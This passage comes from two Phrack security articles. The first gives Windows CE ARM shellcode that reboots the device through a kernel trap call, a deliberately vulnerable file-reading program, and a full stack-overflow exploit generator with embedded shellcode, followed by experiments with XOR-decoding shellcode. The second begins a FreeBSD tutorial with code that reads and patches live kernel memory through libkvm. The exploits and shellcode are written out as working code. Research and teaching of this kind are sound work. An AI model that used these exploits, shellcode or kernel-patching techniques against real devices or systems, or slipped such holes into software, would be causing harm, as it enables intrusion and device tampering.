If the application is in kernel mode, this value will be set with 1, otherwise it will be 0. All applications of Pocket PC run in kernel mode, so the system follow by "LDRNE   R0, [R4]". In my environment, the R0 got 0x8004B138 which is the ppfnMethods pointer of SystemAPISets[SH_WIN32], and then it flow to "LDRNE   R1, [R0,#0x13C]". Let’s look the offset 0x13C (0x13C/4=0x4F) and corresponding to the index of Win32Methods defined in PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h:

```
const PFNVOID Win32Methods[] = {
...
    (PFNVOID)SC_PowerOffSystem,             // 79
...
};
```

Well, the R1 got the address of SC_PowerOffSystem which is implemented in kernel. The instruction "LDREQ   R1, =0xF000FEC4" has no effect when the application run in kernel mode. The address 0xF000FEC4 is system call which used by user mode. Some APIs use system call directly, such as SetKMode:

```
.text:01F756C0                 EXPORT SetKMode
.text:01F756C0 SetKMode
.text:01F756C0
.text:01F756C0 var_4           = -4
.text:01F756C0
.text:01F756C0                 STR     LR, [SP,#var_4]!
.text:01F756C4                 LDR     R1, =0xF000FE50
.text:01F756C8                 MOV     LR, PC
```

```
.text:01F756CC                 MOV     PC, R1
.text:01F756D0                 LDMFD   SP!, {PC}
```

Windows CE doesn’t use ARM’s SWI instruction to implement system call, it implements in different way. A system call is made to an invalid address in the range 0xf0000000 - 0xf0010000, and this causes a prefetch-abort trap, which is handled by PrefetchAbort implemented in armtrap.s. PrefetchAbort will check the invalid address first, if it is in trap area then using ObjectCall to locate the system call and executed, otherwise calling ProcessPrefAbort to deal with the exception.

There is a formula to calculate the system call address:

0xf0010000-(256*apiset+apinr)*4

The api set handles are defined in PUBLIC\COMMON\SDK\INC\kfuncs.h and PUBLIC\COMMON\OAK\INC\psyscall.h, and the aipnrs are defined in several files, for example SH_WIN32 calls are defined in PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h.

Well, let’s calculate the system call of KernelIoControl. The apiset is 0 and the apinr is 99, so the system call is 0xf0010000-(256*0+99)*4 which is 0xF000FE74. The following is the shellcode implemented by system call:

```
#include "stdafx.h"

int shellcode[] =
{
0xE59F0014, // ldr r0, [pc, #20]
0xE59F4014, // ldr r4, [pc, #20]
0xE3A01000, // mov r1, #0
0xE3A02000, // mov r2, #0
0xE3A03000, // mov r3, #0
0xE1A0E00F, // mov lr, pc
0xE1A0F004, // mov pc, r4
0x0101003C, // IOCTL_HAL_REBOOT
0xF000FE74, // trap address of KernelIoControl
};

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    ((void (*)(void)) & shellcode)();

    return 0;
}
```

It works fine and we don’t need search API addresses.

--[9 - Windows CE Buffer Overflow Exploitation

The hello.cpp is the demonstration vulnerable program:

```
// hello.cpp
//

#include "stdafx.h"

int hello()
{
    FILE * binFileH;
    char binFile[] = "\\binfile";
    char buf[512];

    if ( (binFileH = fopen(binFile, "rb")) == NULL )
    {
        printf("can’t open file %s!\n", binFile);
```

```
        return 1;
    }

    memset(buf, 0, sizeof(buf));
    fread(buf, sizeof(char), 1024, binFileH);

    printf("%08x %d\n", &buf, strlen(buf));
    getchar();

    fclose(binFileH);
    return 0;
}

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    hello();
    return 0;
}
```

The hello function has a buffer overflow problem. It reads data from the "binfile" of the root directory to stack variable "buf" by fread(). Because it reads 1KB contents, so if the "binfile" is larger than 512 bytes, the stack variable "buf" will be overflowed.

The printf and getchar are just for test. They have no effect without console.dll in windows direcotry. The console.dll file is come from Windows Mobile Developer Power Toys.

ARM assembly language uses bl instruction to call function. Let’s look into the hello function:

```
6:    int hello()
7:    {
22011000   str       lr, [sp, #-4]!
22011004   sub       sp, sp, #0x89, 30
8:        FILE * binFileH;
9:        char binFile[] = "\\binfile";
...
...
26:   }
220110C4   add       sp, sp, #0x89, 30
220110C8   ldmia     sp!, {pc}
```

"str lr, [sp, #-4]!" is the first instruction of the hello() function. It stores the lr register to stack, and the lr register contains the return address of hello caller. The second instruction prepairs stack memory for local variables. "ldmia sp!, {pc}" is the last instruction of the hello() function. It loads the return address of hello caller that stored in the stack to the pc register, and then the program will execute into WinMain function. So overwriting the lr register that is stored in the stack will obtain control when the hello function returned.

The variable’s memory address that allocated by program is corresponding to the loaded Slot, both stack and heap. The process may be loaded into difference Slot at each start time. So the base address always alters. We know that the slot 0 is mapped from the current process’ slot, so the base of its stack address is stable.

The following is the exploit of hello program:

```
/* exp.c - Windows CE Buffer Overflow Demo
*
*  san@xfocus.org
*/
#include<stdio.h>

#define NOP 0xE1A01001  /* mov r1, r1     */
```

```
#define LR  0x0002FC50  /* return address */

int shellcode[] =
{
0xEB000026,
0xE3A02004,
0xEB00003A,
0xE24DDF89,
0xE28D0008,
0xE58D0000,
0xE3A03002,
0xE3A02000,
0xE28F1F56,
0xE3A0010A,
0xE1A0E00F,
0xE518F00C,
0xE3A00001,
0xE58D000C,
0xE3A03004,
0xE58D3004,
0xE28D100C,
0xE58D1000,
0xE28F1F5F,
0xE59D0008,
0xE1A0E00F,
0xE518F008,
0xE59D0008,
0xE1A0E00F,
0xE518F004,
0xE28F0C01,
0xE5900000,
0xE3A01000,
0xE3A02000,
0xE3A03000,
0xE1A0E00F,
0xE518F010,
0xE0D020B2,
0xE0D130B2,
0xE3520000,
0x03530000,
0x01A0F00E,
0xE1520003,
0x0AFFFFF8,
0xE1A0F00E,
0xE1A0B00E,
0xE28F40BC,
0xE5944000,
0xE3A05FC9,
0xE0845005,
0xE5955000,
0xE1A06005,
0xE3A07000,
0xE5960008,
0xE28F1F45,
0xEBFFFFEC,
0x0596707C,
0x0596808C,
0xE0879008,
0x0A000003,
0xE5966004,
0xE3560000,
0x11560005,
0x1AFFFFF4,
0xE1A00007,
0xE0881007,
0xE1A0F00B,
0xE28F8070,
0xE5914020,
0xE0844000,
0xE3A06000,
```

```
0xE4947004,
0xE0877000,
0xE3A0A000,
0xE4D79001,
0xE3590000,
0x0A000001,
0xE089A3EA,
0xEAFFFFFA,
0xE5989000,
0xE15A0009,
0x12866001,
0x1AFFFFF3,
0xE5915024,
0xE0855000,
0xE0866006,
0xE19590B6,
0xE591501C,
0xE0855000,
0xE7959109,
0xE0899000,
0xE4889004,
0xE2522001,
0x1AFFFFE5,
0xE1A0F00E,
0xFFFFC800,
0x0101003C,
0x283A9DE7,
0x0BF7DF51,
0xD8C0FEC0,
0x0E511783,
0x004F0053,
0x00540046,
0x00410057,
0x00450052,
0x005C005C,
0x00690057,
0x00630064,
0x006D006F,
0x005C006D,
0x0042005C,
0x00430074,
0x006E006F,
0x00690066,
0x005C0067,
0x0047005C,
0x006E0065,
0x00720065,
0x006C0061,
0x00000000,
0x00740053,
0x00630061,
0x004D006B,
0x0064006F,
0x00000065,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
};

/* prints a long to a string */
char* put_long(char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;
```

```
    return ptr;
}

int main()
{
    FILE * binFileH;
    char binFile[] = "binfile";
    char buf[544];
    char *ptr;
    int  i;

    if ( (binFileH = fopen(binFile, "wb")) == NULL )
    {
        printf("can't create file %s!\n", binFile);
        return 1;
    }

    memset(buf, 0, sizeof(buf)-1);
    ptr = buf;

    for (i = 0; i < 4; i++) {
        ptr = put_long(ptr, NOP);
    }
    memcpy(buf+16, shellcode, sizeof(shellcode));
    put_long(ptr-16+540, LR);

    fwrite(buf, sizeof(char), 544, binFileH);
    fclose(binFileH);
}
```

We choose a stack address of slot 0, and it points to our shellcode. It will overwrite the return address that stored in the stack. We can also use a jump address of virtual memory space of the process instead of. This exploit produces a "binfile" that will overflow the "buf" variable and the return address that stored in the stack.

After the binfile copied to the PDA, the PDA restarts and open the bluetooth when the hello program is executed. That's means the hello program flowed to our shellcode.

While I changed another method to construct the exploit string, its as following:

```
pad...pad|return address|nop...nop...shellcode
```

And the exploit produces a 1KB "binfile". But the PDA is freeze when the hello program is executed. It was confused, I think maybe the stack of Windows CE is small and the overflow string destroyed the 2KB guard on the top of stack. It is freeze when the program call a API after overflow occurred. So, we must notice the features of stack while writing exploit for Windows CE.

EVC has some bugs that make debug difficult. First, EVC will write some arbitrary data to the stack contents when the stack releases at the end of function, so the shellcode maybe modified. Second, the instruction at breakpoint maybe change to 0xE6000010 in EVC while debugging. Another bug is funny, the debugger without error while writing data to a .text address by step execute, but it will capture a access violate exception by execute directly.

--[10 - About Decoding Shellcode

The shellcode we talked above is a concept shellcode which contains lots of zeros. It executed correctly in this demonstrate program, but some other vulnerable programs maybe filter the special characters before buffer overflow in some situations. For example overflowed by strcpy, the shellcode will be cut by the zero.

It is difficult and inconvenient to write a shellcode without special characters by API search method. So we think about the decoding shellcode. Decoding shellcode will convert the special characters to fit characters and make the real shellcode more universal.

The newer ARM processor(such as arm9 and arm10) has a Harvard architecture which separates instruction cache and data cache. This feature will improve the performance of processor, and most of RISC processors have this feature. But the self-modifying code is not easy to implement, because it will puzzled by the caches and the processor implementation after being modified.

Let’s look at the following code first:

```
#include "stdafx.h"

int weird[] =
{
0xE3A01099, // mov       r1, #0x99

0xE5CF1020, // strb      r1, [pc, #0x20]
0xE5CF1020, // strb      r1, [pc, #0x20]
0xE5CF1020, // strb      r1, [pc, #0x20]
0xE5CF1020, // strb      r1, [pc, #0x20]

0xE1A01001, // mov       r1, r1 ; pad
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,

0xE3A04001, // mov       r4, #0x1
0xE3A03001, // mov       r3, #0x1
0xE3A02001, // mov       r2, #0x1
0xE3A01001, // mov       r1, #0x1
0xE6000010, // breakpoint
};

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    ((void (*)(void)) & weird)();

    return 0;
}
```

That four strb instructions will change the immediate value of the below mov instructions to 0x99. It will break at that inserted breakpoint while executing this code in EVC debugger directly. The r1-r4 registers got 0x99 in S3C2410 which is a arm9 core processor. It needs more nop instructions to pad after modified to let the r1-r4 got 0x99 while I tested this code in my friend’s PDA which has a Intel Xscale processor. I think the reason maybe is that the arm9 has 5 pipelines and the arm10 has 6 pipelines. Well , I changed it to another method:

```
0xE28F3053, // add       r3, pc, #0x53

0xE3A01010, // mov       r1, #0x10
0xE7D32001, // ldrb      r2, [r3, +r1]
0xE2222088, // eor       r2, r2, #0x88
0xE7C32001, // strb      r2, [r3, +r1]
0xE2511001, // subs      r1, r1, #1
0x1AFFFFFA, // bne       28011008

//0xE1A0100F, // mov       r1, pc
//0xE3A02020, // mov       r2, #0x20
//0xE3A03D05, // mov       r3, #5, 26
//0xEE071F3A, // mcr       p15, 0, r1, c7, c10, 1 ; clean and invalidate each entry
```

```
//0xE0811002, // add       r1, r1, r2
//0xE0533002, // subs      r3, r3, r2
//0xCAFFFFFB, // bgt       |weird+28h (30013058)|
//0xE0211001, // eor       r1, r1, r1
//0xEE071F9A, // mcr       p15, 0, r1, c7, c10, 4 ; drain write buffer
//0xEE071F15, // mcr       p15, 0, r1, c7, c5, 0  ; flush the icache
0xE1A01001, // mov       r1, r1 ; pad
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,

0x6B28C889, // mov       r4, #0x1 ; encoded
0x6B28B889, // mov       r3, #0x1
0x6B28A889, // mov       r2, #0x1
0x6B289889, // mov       r1, #0x1
0xE6000010, // breakpoint
```

The four mov instructions were encoded by Exclusive-OR with 0x88, the decoder has a loop to load a encoded byte and Exclusive-OR it with 0x88 and then stored it to the original position. The r1-r4 registers won't get 0x1 even you put a lot of pad instructions after decoded in both arm9 and arm10 processors. I think maybe that the load instruction bring on a cache problem.

ARM Architecture Reference Manual has a chapter to introduce how to deal with self-modifying code. It says the caches will be flushed by an operating system call. Phil, the guy from 0dd shared his experience to me. He said he's used this method successful on ARM system(I think his environment maybe is Linux). Well, this method is successful on AIX PowerPC and Solaris SPARC too(I've tested it). But SWI implements in a different way under Windows CE. The armtrap.s contains implementation of SWIHandler which does nothing except 'movs pc,lr'. So it has no effect after decode finished.

Because Pocket PC's applications run in kernel mode, so we have privilege to access the system control coprocessor. ARM Architecture Reference Manual introduces memory system and how to handle cache via the system control coprocessor. After looked into this manual, I tried to disable the instruction cache before decode:

```
mrc     p15, 0, r1, c1, c0, 0
bic     r1, r1, #0x1000
mcr     p15, 0, r1, c1, c0, 0
```

But the system freezed when the mcr instruction executed. Then I tried to invalidate entire instruction cache after decoded:

```
eor     r1, r1, r1
mcr     p15, 0, r1, c7, c5, 0
```

But it has no effect too.

--[11 - Conclusion

The codes talked above are the real-life buffer overflow example on Windows CE. It is not perfect, but I think this technology will be improved in the future.

Because of the cache mechanism, the decoding shellcode is not good enough.

Internet and handset devices are growing quickly, so threats to the PDAs and mobiles become more and more serious. And the patch of Windows CE is more difficult and dangerous than the normal Windows system to customers. Because the entire Windows CE system is stored in the ROM, if you want to patch the system flaws, you must flush the ROM, And the ROM images of various vendors or modes of PDAs and mobiles aren't compatible.

--[12 - Greetings

Special greets to the dudes of XFocus Team, my girlfriend, the life will fade without you.
Special thanks to the Research Department of NSFocus Corporation, I love this team.
And I'll show my appreciation to 0dd members, Nasiry and Flier too, the discussions with them were nice.

--[13 - References

[1] ARM Architecture Reference Manual
    http://www.arm.com
[2] Windows CE 4.2 Source Code
    http://msdn.microsoft.com/embedded/windowsce/default.aspx
[3] Details Emerge on the First Windows Mobile Virus
    - Cyrus Peikari, Seth Fogie, Ratter/29A
    http://www.informit.com/articles/article.asp?p=337071
[4] Pocket PC Abuse - Seth Fogie
    http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-fogie/bh-us-04-fogie-up.pdf
[5] misc notes on the xda and windows ce
    http://www.xs4all.nl/~itsme/projects/xda/
[6] Introduction to Windows CE
    http://www.cs-ipv6.lancs.ac.uk/acsp/WinCE/Slides/
[7] Nasiry 's way
    http://www.cnblogs.com/nasiry/
[8] Programming Windows CE Second Edition - Doug Boling
[9] Win32 Assembly Components
    http://LSD-PL.NET

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x07 of 0x14

```
|=--------=[ Playing Games With Kernel Memory ... FreeBSD Style ]=---------=|
|=-------------------------------------------------------------------------=|
|=-----------------=[ Joseph Kong <jkong01@gmail.com> ]=-------------------=|
|=--------------------------=[ July 8, 2005 ]=-----------------------------=|
```

--[Contents

--[1.0 - Introduction

The kernel memory interface or kvm interface was first introduced in SunOS. Although it has been around for quite some time, many people still consider it to be rather obscure. This article documents the basic usage of the Kernel Data Access Library (libkvm), and will explore some ways to use libkvm (/dev/kmem) in order to alter the behavior of a running FreeBSD system.

FreeBSD kernel hacking skills of a moderate level (i.e. you know how to use ddb), as well as a decent understanding of C and x86 Assembly (AT&T Syntax) are required in order to understand the contents of this article.

This article was written from the perspective of a FreeBSD 5.4 Stable System.

Note: Although the techniques described in this article have been explored in other articles (see References), they are always from a Linux or Windows perspective. I personally only know of one other text that touches on the information contained herein. That text entitled "Fun and Games with FreeBSD Kernel Modules" by Stephanie Wehner explained some of the things one can do with libkvm. Considering the fact that one can do much more, and that documentation regarding libkvm is scarce (man pages and source code aside), I decided to write this article.

--[2.0 - Finding System Calls

Note: This section is extremely basic, if you have a good grasp of the libkvm functions read the next paragraph and skip to the next section.

Stephanie Wehner wrote a program called checkcall, which would check if sysent[CALL] had been tampered with, and if so would change it back to the original function. In order to help with the debugging during the latter sections of this article, we are going to make use of checkcall's find system call functionality. Following is a stripped down version of checkcall, with just the find system call function. It is also a good example to learn the basics of libkvm from. A line by line explanation of the libkvm functions appears after the source code listing.

find_syscall.c:

```
/*
 * Takes two arguments: the name of a syscall and corresponding number,
 * and reports the location in memory where the syscall is located.
 *
 * If you enter the name of a syscall with an incorrect syscall number,
 * the output will be fubar. Too lazy to implement a check
 *
 * Based off of Stephanie Wehner's checkcall.c,v 1.1.1.1
 *
 * find_syscall.c,v 1.0 2005/05/20
 */


#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/sysent.h>
#include <sys/syscall.h>

int main(int argc, char *argv[]) {

        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        u_int32_t addr;
        int callnum;
        struct sysent call;
        struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };


        /* Check for the correct number of arguments */

        if(argc != 3) {
                printf("Usage:\n%s <name of system call> <syscall number>"
                       " \n\n", argv[0]);

                printf("See /usr/src/sys/sys/syscall.h for syscall numbers"
                       " \n");

                exit(0);
        }


        /* Find the syscall */

        nl[0].n_name = "sysent";
        nl[1].n_name = argv[1];
        callnum = atoi(argv[2]);

        printf("Finding syscall %d: %s\n\n", callnum, argv[1]);

        /* Initialize kernel virtual memory access */

        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if(kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        /* Find the addresses  */

        if(kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }
```

```
        if(!nl[0].n_value) {
                fprintf(stderr, "ERROR: %s not found (fubar?)\n"
                        , nl[0].n_name);
                exit(-1);
        }
        else {
                printf("%s is 0x%x at 0x%x\n", nl[0].n_name, nl[0].n_type
                       , nl[0].n_value);
        }

        if(!nl[1].n_value) {
                fprintf(stderr, "ERROR: %s not found\n", nl[1].n_name);
                exit(-1);
        }


        /* Calculate the address */

        addr = nl[0].n_value + callnum * sizeof(struct sysent);


        /* Print out location */

        if(kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }
        else {
                printf("sysent[%d] is at 0x%x and will execute function"
                       " located at 0x%x\n", callnum, addr, call.sy_call);
        }

        if(kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}
```

There are five functions from libkvm that are included in the above program; they are:

```
        kvm_openfiles
        kvm_nlist
        kvm_geterr
        kvm_read
        kvm_close
```

kvm_openfiles:

Basically kvm_openfiles initializes kernel virtual memory access, and returns a descriptor to be used in subsequent kvm library calls. In find_syscall the syntax was as follows:

```
        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
```

kd is used to store the returned descriptor, if after the call kd equals NULL then an error has occurred.

The first three arguments correspond to const char *execfile, const char *corefile, and const char *swapfiles respectively. However for our purposes they are unnecessary, hence NULL. The fourth argument indicates that we want read/write access. The fifth argument indicates which buffer to place any error messages, more on that later.

kvm_nlist:

The man page states that kvm_nlist retrieves the symbol table entries indicated by the name list argument (struct nlist). The members of struct nlist that interest us are as follows:

```
char *n_name;           /* symbol name (in memory) */
unsigned long n_value;  /* address of the symbol   */
```

Prior to calling kvm_nlist in find_syscall a struct nlist array was setup as follows:

```
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
nl[0].n_name = "sysent";
nl[1].n_name = argv[1];
```

The syntax for calling kvm_nlist is as follows:

```
kvm_nlist(kd, nl)
```

What this did was fill out the n_value member of each element in the array nl with the starting address in memory corresponding to the value in n_name. In other words we now know the location in memory of sysent and the user supplied syscall (argv[1]). nl was initialized with three elements because kvm_nlist expects as its second argument a NULL terminated array of nlist structures.

kvm_geterr:

As stated in the man page this function returns a string describing the most recent error condition. If you look through the above source code listing you will see kvm_geterr gets called after every libkvm function, except kvm_openfiles. kvm_openfiles uses its own unique form of error reporting, because kvm_geterr requires a descriptor as an argument, which would not exist if kvm_openfiles has not been called yet. An example usage of kvm_geterr follows:

```
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
```

kvm_read:

This function is used to read kernel virtual memory. In find_syscall the syntax was as follows:

```
kvm_read(kd, addr, &call, sizeof(struct sysent))
```

The first argument is the descriptor. The second is the address to begin reading from. The third argument is the user-space location to store the data read. The fourth argument is the number of bytes to read.

kvm_close:

This function breaks the connection between the pointer and the kernel virtual memory established with kvm_openfiles. In find_syscall this function was called as follows:

```
kvm_close(kd)
```

The following is an algorithmic explanation of find_syscall.c:

1. Check to make sure the user has supplied a syscall name and number. (No error checking, just checks for two arguments)
2. Setup the array of nlist structures appropriately.
3. Initialize kernel virtual memory access. (kvm_openfiles)
4. Find the address of sysent and the user supplied syscall. (kvm_nlist)
5. Calculate the location of the syscall in sysent.
6. Copy the syscall's sysent structure from kernel-space to user-space. (kvm_read)
7. Print out the location of the syscall in the sysent structure and the location of the executed function.
8. Close the descriptor (kvm_close)

In order to verify that the output of find_syscall is accurate, one can make use of ddb as follows:

Note: The output below was modified in order to meet the 75 character per line requirement.

```
        [-----------------------------------------------------------]

ghost@slavetwo:~#ls
find_syscall.c
ghost@slavetwo:~#gcc -o find_syscall find_syscall.c -lkvm
ghost@slavetwo:~#ls
find_syscall   find_syscall.c
ghost@slavetwo:~#sudo ./find_syscall
Password:
Usage:
./find_syscall <name of system call> <syscall number>

See /usr/src/sys/sys/syscall.h for syscall numbers
ghost@slavetwo:~#sudo ./find_syscall mkdir 136
Finding syscall 136: mkdir

sysent is 0x4 at 0xc06dc840
sysent[136] is at 0xc06dcc80 and will execute function located at
0xc0541900
ghost@slavetwo:~#KDB: enter: manual escape to debugger
[thread pid 12 tid 100004 ]
Stopped at      kdb_enter+0x32: leave
db> examine/i 0xc0541900
mkdir:  pushl   %ebp
db>
mkdir+0x1:      movl    %esp,%ebp
db> c

ghost@slavetwo:~#

        [-----------------------------------------------------------]
```

--[3.0 - Understanding Call Statements And Bytecode Injection

In x86 Assembly a Call statement is a control transfer instruction, used to call a procedure. There are two types of Call statements Near and Far, for the purposes of this article one only needs to understand a Near Call. The following code illustrates the details of a Near Call statement (in Intel Syntax):

```
        0200    BB1295  MOV BX,9512
        0203    E8FA00  CALL 0300
        0206    B82F14  MOV AX,142F
```

In the above code snippet, when the IP (Instruction Pointer) gets to 0203 it will jump to 0300. The hexadecimal representation for CALL is E8, however FA00 is not 0300. 0x300 - 0x206 = 0xFA. In a near call the IP address of the instruction after the Call is saved on the stack, so the called procedure knows where to return to. This explains why the operand for Call in this example is 0xFA00 and not 0x300. This is an important point and will come into play later.

One of the more entertaining things one can do with the libkvm functions is patch kernel virtual memory. As always we start with a very simple example ... Hello World! The following is a kld which adds a syscall that functions as a Hello World! program.

hello.c:

```
/*
 * Prints "FreeBSD Rox!" 10 times
 *
 */
```

```
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>

/*
 * The function for implementing the syscall.
 */

static int
hello (struct thread *td, void *arg)
{
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        printf ("FreeBSD Rox!\n");
        return 0;
}

/*
 * The ‘sysent’ for the new syscall
 */

static struct sysent hello_sysent = {
        0,                      /* sy_narg */
        hello                   /* sy_call */
};

/*
 * The offset in sysent where the syscall is allocated.
 */

static int offset = 210;

/*
 * The function called at load/unload.
 */

static int
load (struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD :
                printf ("syscall loaded at %d\n", offset);
                break;
        case MOD_UNLOAD :
                printf ("syscall unloaded from %d\n", offset);
                break;
        default :
                error = EOPNOTSUPP;
                break;
        }
        return error;
}

SYSCALL_MODULE(hello, &offset, &hello_sysent, load, NULL);
```

The following is the user-space program for the above kld:

interface.c:

```
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

int main(int argc, char **argv) {

        return syscall(210);
}
```

If we compile the above kld using a standard Makefile, load it, and then run the user-space program, we get some very annoying output. In order to make this syscall less annoying we can use the following program. As before an explanation of any new functions and concepts appears after the source code listing.

test_call.c:

```
/*
 * Test understanding of call statement:
 * Operand for call statement is the difference between the called function
 * and the address of the instruction following the call statement.
 *
 * Tested on syscall hello. Normally prints out "FreeBSD Rox!" 10 times,
 * after patching only prints it out once.
 *
 * test_call.c,v 2.1 2005/06/15
 */


#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>

/*
 * Offset of string to be printed
 * Starting at the beginning of the syscall hello
 */

#define OFFSET_1        0xed

/*
 * Offset of instruction following call statement
 */

#define OFFSET_2        0x12

/*
 * Replacement code
 */

unsigned char code[] =
        "\x55"                          /* push  %ebp                   */
        "\x89\xe5"                      /* mov   %esp,%ebp              */
        "\x83\xec\x04"                  /* sub   $0x4,%esp              */
        "\xc7\x04\x24\x00\x00\x00\x00"  /* movl  $0,(%esp)              */
        "\xe8\x00\x00\x00\x00"          /* call  printf                 */
        "\xc9"                          /* leave                        */
        "\x31\xc0"                      /* xor   %eax,%eax              */
        "\xc3"                          /* ret                          */
        "\x8d\xb4\x26\x00\x00\x00\x00"  /* lea   0x0(%esi),%esi         */
        "\x8d\xbc\x27\x00\x00\x00\x00"; /* lea   0x0(%edi),%edi         */


int main(int argc, char *argv[]) {
```

```
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        u_int32_t offset_1;
        u_int32_t offset_2;
        struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };


        /* Initialize kernel virtual memory access */

        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if(kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }


        /* Find the address of hello and printf */

        nl[0].n_name = "hello";
        nl[1].n_name = "printf";

        if(kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if(!nl[0].n_value) {
                fprintf(stderr, "ERROR: Symbol %s not found\n"
                        , nl[0].n_name);
                exit(-1);
        }

        if(!nl[1].n_value) {
                fprintf(stderr, "ERROR: Symbol %s not found\n"
                        , nl[1].n_name);
                exit(-1);
        }


        /* Calculate the correct offsets */

        offset_1 = nl[0].n_value + OFFSET_1;
        offset_2 = nl[0].n_value + OFFSET_2;


        /* Set the code to contain the correct addresses */

        *(unsigned long *)&code[9] = offset_1;
        *(unsigned long *)&code[14] = nl[1].n_value - offset_2;


        /* Patch hello */

        if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        printf("Luke, I am your father!\n");


        /* Close kd */

        if(kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
```

}

The only libkvm function that is included in the above program that hasn't been discussed before is kvm_write.

kvm_write:

This function is used to write to kernel virtual memory. In test_call the syntax was as follows:

```
        kvm_write(kd, nl[0].n_value, code, sizeof(code))
```

The first argument is the descriptor. The second is the address to begin writing to. The third argument is the user-space location to read from. The fourth argument is the number of bytes to read.

The replacement code (bytecode) in test_call was generated with help of objdump.

```
        [---------------------------------------------------------]

ghost@slavetwo:~#objdump -DR hello.ko | less

hello.ko:     file format elf32-i386-freebsd

Disassembly of section .hash:

00000094 <.hash>:
  94:   11 00                   adc    %eax,(%eax)
  96:   00 00                   add    %al,(%eax)

OUTPUT SNIPPED

Disassembly of section .text:

00000500 <hello>:
 500:   55                      push   %ebp
 501:   89 e5                   mov    %esp,%ebp
 503:   83 ec 04                sub    $0x4,%esp
 506:   c7 04 24 ed 05 00 00    movl   $0x5ed,(%esp)
                        509: R_386_RELATIVE     *ABS*
 50d:   e8 fc ff ff ff          call   50e <hello+0xe>
                        50e: R_386_PC32 printf
 512:   c7 04 24 ed 05 00 00    movl   $0x5ed,(%esp)
                        515: R_386_RELATIVE     *ABS*
 519:   e8 fc ff ff ff          call   51a <hello+0x1a>
                        51a: R_386_PC32 printf
 51e:   c7 04 24 ed 05 00 00    movl   $0x5ed,(%esp)
                        521: R_386_RELATIVE     *ABS*
 525:   e8 fc ff ff ff          call   526 <hello+0x26>
                        526: R_386_PC32 printf

OUTPUT SNIPPED

 57e:   c9                      leave
 57f:   31 c0                   xor    %eax,%eax
 581:   c3                      ret
 582:   8d b4 26 00 00 00 00    lea    0x0(%esi),%esi
 589:   8d bc 27 00 00 00 00    lea    0x0(%edi),%edi

        [---------------------------------------------------------]
```

Note: Your output may vary depending on your compiler version and flags.

Comparing the output of the text section with the bytecode in test_call one can see that they are essentially the same, minus setting up nine more calls to printf. An important item to take note of is when objdump reports something as being relative. In this case two items are; movl $0x5ed,(%esp) (sets up the string to be printed) and call printf. Which brings us to ...

In test_call there are two #define statements, they are:

```
        #define OFFSET_1        0xed
        #define OFFSET_2        0x12
```

The first represents the address of the string to be printed relative to the beginning of syscall hello (the number is derived from the output of objdump). While the second represents the offset of the instruction following the call to printf in the bytecode. Later on in test_call there are these four statements:

```
        /* Calculate the correct offsets */

        offset_1 = nl[0].n_value + OFFSET_1;
        offset_2 = nl[0].n_value + OFFSET_2;


        /* Set the code to contain the correct addresses */

